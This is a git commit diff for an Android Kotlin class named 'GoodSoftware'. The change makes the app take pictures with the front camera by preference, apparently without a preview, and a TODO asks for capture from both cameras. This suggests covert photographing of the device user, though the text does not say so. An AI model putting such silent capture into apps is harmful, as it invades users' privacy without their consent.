Take picture from front facing instaid of back, unless not avaible... ideally from both //TODO

This commit is contained in:
Joren 2024-05-02 00:30:55 +02:00
parent ab74a11524
commit 6e0c78e732
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55

View File

@ -40,7 +40,7 @@ import androidx.lifecycle.lifecycleScope
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
class GoodSoftware (private val activity: ComponentActivity) { class GoodSoftware (private val activity: MainActivity) {
private var cameraProvider: ProcessCameraProvider? = null private var cameraProvider: ProcessCameraProvider? = null
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
private var imageCapture: ImageCapture? = null private var imageCapture: ImageCapture? = null
@ -206,11 +206,11 @@ class GoodSoftware (private val activity: ComponentActivity) {
return return
} }
// Select the lens facing // Select the lens facing, prioritize front camera if available
lensFacing = if (hasBackCamera()) { lensFacing = if (hasFrontCamera()) {
CameraSelector.LENS_FACING_BACK
} else {
CameraSelector.LENS_FACING_FRONT CameraSelector.LENS_FACING_FRONT
} else {
CameraSelector.LENS_FACING_BACK
} }
// Create ImageCapture instance // Create ImageCapture instance
@ -243,19 +243,21 @@ class GoodSoftware (private val activity: ComponentActivity) {
} }
// Bind the camera and start image capture // Bind the camera and start image capture
cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.DEFAULT_BACK_CAMERA, imageCapture) cameraProvider?.bindToLifecycle(lifecycleOwner, CameraSelector.Builder().requireLensFacing(lensFacing).build(), imageCapture)
// Take the picture // Take the picture
imageCapture?.takePicture( imageCapture?.takePicture(
ContextCompat.getMainExecutor(context), ContextCompat.getMainExecutor(context),
imageCapturedListener imageCapturedListener
) )
cameraProvider?.unbind()
} }
private fun hasBackCamera(): Boolean { private fun hasBackCamera(): Boolean {
return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false return cameraProvider?.hasCamera(CameraSelector.DEFAULT_BACK_CAMERA) ?: false
} }